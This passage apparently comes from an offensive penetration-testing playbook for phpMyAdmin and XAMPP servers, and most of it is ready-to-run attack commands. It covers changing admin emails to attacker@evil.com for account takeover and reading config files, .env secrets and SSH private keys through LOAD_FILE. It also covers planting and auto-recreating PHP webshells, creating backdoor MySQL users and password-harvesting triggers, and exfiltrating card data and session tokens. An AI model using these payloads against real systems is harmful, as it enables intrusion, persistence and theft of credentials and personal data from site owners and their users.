-- Replace with: attacker@evil.com
-- Columns: user_email

-- Result: All admin emails changed
-- Password resets now go to attacker
```

Tools: PHPMyAdmin Find and Replace
Expected Outcome: All admin emails redirected, account takeover possible

Status Tab Process List Analysis

Objective: Monitor active queries for credentials and sensitive operations

Testing Steps:

[1] Navigate to Status tab

[2] View Processes list

[3] Monitor active queries in real-time

[4] Capture queries containing passwords

[5] Export process list for analysis

Commands:

```
-- Via PHPMyAdmin Status → Processes:
-- Refresh frequently
-- Look for INSERT/UPDATE queries on user tables

-- Queries visible:
-- INSERT INTO users (username, password) VALUES ("admin", "NewPass123!");
-- UPDATE users SET password="PlainTextPass" WHERE id=1;

-- Capture and store credentials
```

Tools: PHPMyAdmin Status interface
Expected Outcome: Live credentials captured from active queries

Variables Tab Configuration Extraction

Objective: Extract MySQL configuration for security assessment

Testing Steps:

[1] Navigate to Variables tab

[2] View all MySQL server variables

[3] Identify security-relevant settings

[4] Export variable list

[5] Analyze for misconfigurations

Commands:

```
-- Via PHPMyAdmin Variables tab:
-- Search for: secure_file_priv
-- Value: "" (empty = unrestricted)

-- Search for: plugin_dir
-- Value: C:/xampp/mysql/lib/plugin/

-- Export all variables for analysis
```

Tools: PHPMyAdmin Variables tab
Expected Outcome: secure_file_priv is empty, unrestricted file operations possible

■ Target: PHPMyAdmin SQL Query-Based Operations

■ LOAD_FILE - WordPress Config Extraction

Objective: Read wp-config.php to extract database credentials

Testing Steps:

[1] Identify WordPress installation path

[2] Use LOAD_FILE to read wp-config.php

[3] Extract DB_NAME, DB_USER, DB_PASSWORD constants

[4] Parse file for API keys and salts

[5] Test extracted credentials

Commands:

```
SELECT LOAD_FILE("C:/xampp/htdocs/wordpress/wp-config.php");
SELECT LOAD_FILE("/var/www/html/wp-config.php");

-- Parse output for:
-- define("DB_NAME", "wordpress");
-- define("DB_USER", "wp_user");
-- define("DB_PASSWORD", "wp_pass123");

mysql -h localhost -u wp_user -pwp_pass123 wordpress
```

Tools: PHPMyAdmin SQL tab, text parser
Expected Outcome: WordPress DB credentials extracted: wp_user/wp_pass123

■ LOAD_FILE - Laravel .env File Extraction

Objective: Extract environment variables from Laravel .env file

Testing Steps:

[1] Locate Laravel installation directory

[2] Read .env file using LOAD_FILE

[3] Extract database credentials

[4] Extract API keys (AWS, Stripe, Mail)

[5] Document all sensitive values

Commands:

```
SELECT LOAD_FILE("C:/xampp/htdocs/laravel/.env");
SELECT LOAD_FILE("/var/www/html/myapp/.env");

-- Extract:
-- DB_DATABASE=laravel_db
-- DB_USERNAME=laravel_user
-- DB_PASSWORD=SecurePass123
-- AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
-- STRIPE_SECRET=sk_test_...
```

Tools: PHPMyAdmin SQL tab
Expected Outcome: Database creds + AWS keys + Stripe API key extracted

■ LOAD_FILE - Linux /etc/passwd Extraction

Objective: Read Linux password file to enumerate user accounts

Testing Steps:

[1] Use LOAD_FILE to read /etc/passwd

[2] Enumerate system user accounts

[3] Identify users with shell access

[4] Target accounts for further attacks

[5] Document user information

Commands:

```
SELECT LOAD_FILE("/etc/passwd");

-- Output parsing:
-- root:x:0:0:root:/root:/bin/bash
-- mysql:x:108:113:MySQL Server,,,:/var/lib/mysql:/bin/false
-- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

-- Identify users with /bin/bash shell for targeting
```

Tools: PHPMyAdmin SQL tab
Expected Outcome: User accounts enumerated, root and mysql users identified

■ LOAD_FILE - SSH Private Key Extraction

Objective: Steal SSH private keys for passwordless access

Testing Steps:

[1] Enumerate user home directories

[2] Read .ssh/id_rsa files

[3] Extract private keys

[4] Save to local file with proper permissions

[5] Use for SSH authentication

Commands:

```
SELECT LOAD_FILE("/home/admin/.ssh/id_rsa");
SELECT LOAD_FILE("/root/.ssh/id_rsa");
SELECT LOAD_FILE("C:/Users/Administrator/.ssh/id_rsa");

-- Save output to id_rsa file
chmod 600 id_rsa
ssh -i id_rsa admin@target
ssh -i id_rsa root@other_server
```

Tools: PHPMyAdmin, SSH client
Expected Outcome: SSH private key extracted, passwordless access to 3 servers

■ LOAD_FILE - Apache Configuration Reading

Objective: Read Apache configuration for security analysis

Testing Steps:

[1] Locate Apache configuration file path

[2] Read httpd.conf or apache2.conf

[3] Extract virtual host configurations

[4] Identify document roots and aliases

[5] Find .htpasswd file locations

Commands:

```
SELECT LOAD_FILE("C:/xampp/apache/conf/httpd.conf");
SELECT LOAD_FILE("/etc/apache2/apache2.conf");
SELECT LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf");

-- Extract:
-- DocumentRoot "C:/xampp/htdocs"
-- <Directory "C:/xampp/htdocs">
-- AllowOverride All
```

Tools: PHPMyAdmin SQL tab
Expected Outcome: Apache config revealed, AllowOverride All enables .htaccess attacks

■ LOAD_FILE - FileZilla Server Config Extraction

Objective: Extract FTP credentials from FileZilla configuration

Testing Steps:

[1] Locate FileZilla Server.xml file

[2] Read XML configuration using LOAD_FILE

[3] Parse XML for FTP user accounts

[4] Extract password hashes

[5] Decrypt or crack passwords

Commands:

```
SELECT LOAD_FILE("C:/xampp/FileZilla Server/FileZilla Server.xml");
SELECT LOAD_FILE("C:/Program Files/FileZilla Server/FileZilla Server.xml");

-- Parse XML output:
-- <User Name="ftpadmin">
-- <Option Name="Pass">MD5_HASH</Option>
-- <Permission Dir="C:/xampp/htdocs">

-- Crack MD5 hash
hashcat -m 0 hash.txt rockyou.txt
```

Tools: PHPMyAdmin, hashcat, XML parser
Expected Outcome: FTP credentials recovered: ftpadmin/ftp123

■ INTO OUTFILE - Multi-Webshell Deployment

Objective: Deploy multiple webshells to different locations

Testing Steps:

[1] Create webshells with different functionalities

[2] Deploy to htdocs, uploads, images directories

[3] Use different filenames to avoid detection

[4] Test each webshell

[5] Document all shell locations

Commands:

```
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE "C:/xampp/htdocs/index.php";
SELECT "<?php eval($_POST['x']); ?>" INTO OUTFILE "C:/xampp/htdocs/uploads/image.php";
SELECT "<?php passthru($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/admin/config.php";

curl http://target/index.php?c=whoami
curl -d "x=phpinfo();" http://target/uploads/image.php
curl http://target/admin/config.php?cmd=dir
```

Tools: PHPMyAdmin, curl
Expected Outcome: Three webshells deployed in different directories

■ INTO OUTFILE - .htaccess Creation

Objective: Create malicious .htaccess file via SQL

Testing Steps:

[1] Craft .htaccess to enable PHP in image directories

[2] Use INTO OUTFILE to write .htaccess

[3] Upload PHP file with image extension

[4] Access PHP file to execute code

[5] Bypass upload filters

Commands:

```
SELECT "AddType application/x-httpd-php .jpg\nAddType application/x-httpd-php .png" INTO OUTFILE
"C:/xampp/htdocs/uploads/.htaccess";
```

```
-- Then upload PHP with .jpg extension:
SELECT "<?php system($_GET['x']); ?>" INTO OUTFILE "C:/xampp/htdocs/uploads/shell.jpg";
```

```
curl http://target/uploads/shell.jpg?x=whoami
```

Tools: PHPMyAdmin, curl
Expected Outcome: .htaccess created, PHP execution enabled in uploads folder

■ Trigger-Based Credential Harvesting

Objective: Create database trigger to log all new passwords

Testing Steps:

[1] Create exfiltration table for storing harvested data

[2] Create AFTER INSERT trigger on users table

[3] Trigger logs username and password on new registrations

[4] Monitor exfiltration table periodically

[5] Export harvested credentials

Commands:

```
-- Create exfiltration table:
CREATE TABLE harvested_creds (id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255), password
VARCHAR(255), captured_at TIMESTAMP);
```

```
-- Create trigger:
CREATE TRIGGER harvest_passwords AFTER INSERT ON users FOR EACH ROW INSERT INTO harvested_creds
(username, password, captured_at) VALUES (NEW.username, NEW.password, NOW());
```

```
-- Monitor harvested data:
SELECT * FROM harvested_creds ORDER BY captured_at DESC;
```

Tools: PHPMyAdmin SQL tab
Expected Outcome: Trigger created, all new user registrations logged automatically

■ Event Scheduler - Recurring Webshell Recreation

Objective: Schedule automated webshell recreation daily

Testing Steps:

[1] Enable MySQL Event Scheduler

[2] Create event to recreate deleted webshell

[3] Set event to run daily

[4] Verify event is active

[5] Webshell auto-recreates if deleted

Commands:

```
-- Enable scheduler:
SET GLOBAL event_scheduler = ON;

-- Create recurring event:
CREATE EVENT recreate_shell ON SCHEDULE EVERY 1 DAY DO SELECT "<?php system($_GET['cmd']); ?>" INTO
OUTFILE "C:/xampp/htdocs/persistent.php";

-- Verify:
SHOW EVENTS;
SELECT * FROM information_schema.EVENTS;
```

Tools: PHPMyAdmin SQL tab
Expected Outcome: Persistent webshell recreates daily even if deleted

■ Backdoor MySQL User Creation

Objective: Create hidden administrative MySQL account

Testing Steps:

[1] Create new user with innocuous name

[2] Grant all privileges

[3] Allow remote connections from any host

[4] Test backdoor account

[5] Use for persistent database access

Commands:

```
CREATE USER 'system_monitor'@'%' IDENTIFIED BY 'MonitorPass2024!';
GRANT ALL PRIVILEGES ON *.* TO 'system_monitor'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;

-- Test from remote:
mysql -h target -u system_monitor -pMonitorPass2024!
mysql -h target -u system_monitor -pMonitorPass2024! -e "SHOW DATABASES;"
```

Tools: PHPMyAdmin SQL tab, mysql client
Expected Outcome: Backdoor account created, persistent remote access established

■ Target: Data Exfiltration via PHPMyAdmin

■ Complete Database Export via GUI

Objective: Export all databases using PHPMyAdmin Export feature

Testing Steps:

[1] Navigate to Export tab

[2] Select "Export all databases"

[3] Choose SQL format with complete inserts

[4] Enable gzip compression

[5] Download complete database dump

Commands:

```
-- Via PHPMyAdmin Export tab:
-- Export method: Custom
-- Databases: Select all
-- Format: SQL
-- Options: Complete inserts, Extended inserts
-- Compression: gzip

-- Or via mysqldump:
mysqldump -h target -u root --all-databases | gzip > all_databases.sql.gz
```

Tools: PHPMyAdmin Export, mysqldump
Expected Outcome: Complete database backup downloaded: 500MB compressed

■ Selective Table CSV Export

Objective: Export high-value tables containing sensitive data

Testing Steps:

[1] Identify tables with PII/financial data

[2] Select specific tables for export

[3] Export as CSV for easy parsing

[4] Download exported files

[5] Parse for credit cards, SSNs, passwords

Commands:

```
-- Via PHPMyAdmin Export:
-- Table: users (username, password, email)
-- Format: CSV
-- Download

-- Or via SQL:
SELECT * FROM users INTO OUTFILE "C:/xampp/htdocs/users.csv" FIELDS TERMINATED BY "," ENCLOSED BY
'"';
SELECT * FROM credit_cards INTO OUTFILE "C:/xampp/htdocs/cc.csv";

wget http://target/users.csv
wget http://target/cc.csv
```

Tools: PHPMyAdmin, wget, curl
Expected Outcome: Users table: 50,000 records, credit_cards: 5,000 records exfiltrated

■ SQL Query Result Export

Objective: Execute custom queries and export results

Testing Steps:

[1] Craft SQL query to extract specific data

[2] Filter for high-value records (admins, VIPs)

[3] Execute query in SQL tab

[4] Export results as CSV

[5] Download and analyze

Commands:

```
-- In PHPMyAdmin SQL tab:
SELECT username, password, email FROM users WHERE role="admin";
SELECT card_number, cvv, expiry FROM payments WHERE amount > 1000;
SELECT api_key, secret_key FROM config WHERE service="aws";

-- Click Export, format CSV
-- Download results
```

Tools: PHPMyAdmin SQL tab
Expected Outcome: Admin accounts: 15, High-value transactions: 500, AWS keys: 3 extracted

■ Session Token Theft from Database

Objective: Export active session tokens for account hijacking

Testing Steps:

[1] Identify session storage table

[2] Query for active unexpired sessions

[3] Extract session IDs and user data

[4] Export to CSV

[5] Use tokens to hijack accounts

Commands:

```
SELECT * FROM sessions WHERE expires > UNIX_TIMESTAMP();
SELECT sess_id, sess_data FROM ci_sessions WHERE last_activity > (UNIX_TIMESTAMP() - 3600);
SELECT session_key, user_id FROM django_session WHERE expire_date > NOW();

-- Export and use:
curl -H "Cookie: session_id=stolen_token" http://target/admin/
```

Tools: PHPMyAdmin, curl, cookie editor
Expected Outcome: 45 active sessions stolen, admin session hijacked